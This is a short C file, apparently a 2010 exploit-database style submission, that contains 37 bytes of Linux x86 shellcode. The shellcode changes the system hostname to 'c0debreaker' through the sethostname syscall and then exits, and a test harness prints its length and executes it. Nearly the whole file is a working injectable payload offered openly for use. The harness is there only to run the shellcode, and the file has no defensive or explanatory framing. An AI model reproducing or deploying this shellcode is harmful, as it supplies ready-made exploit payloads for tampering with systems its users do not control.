/*
Title  : sethostname to "c0debreaker" linux shellcode .
Name   : 37 bytes sethostname to "c0debreaker" linux .
Date   : Fri Aug  6 21:41:20 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
*/
#include <stdio.h>

char shellcode[] =
    "\xeb\x13"                    /* jmp    0x8048075 */
    "\x31\xc0"                    /* xor    %eax,%eax */
    "\xb0\x4a"                    /* mov    $0x4a,%al */
    "\x5b"                        /* pop    %ebx */
    "\x31\xc9"                    /* xor    %ecx,%ecx */
    "\xb1\x0b"                    /* mov    $0xb,%cl */
    "\xcd\x80"                    /* int    $0x80 */
    "\x31\xc0"                    /* xor    %eax,%eax */
    "\xb0\x01"                    /* mov    $0x1,%al */
    "\x31\xdb"                    /* xor    %ebx,%ebx */
    "\xcd\x80"                    /* int    $0x80 */
    "\xe8\xe8\xff\xff\xff"        /* call   0x8048062 */
    "\x63\x30"                    /* arpl   %si,(%eax) */
    "\x64\x65\x62\x72\x65"        /* bound  %esi,%fs:%gs:0x65(%edx) */
    "\x61"                        /* popa    */
    "\x6b"                        /* .byte 0x6b */
    "\x65"                        /* gs */
    "\x72";                       /* .byte 0x72 */
    

int main(void)
{
    fprintf(stdout,"[*] Shellcode length: %d\n",strlen(shellcode));
    ((void (*)(void)) shellcode)();
  
    return 0;
}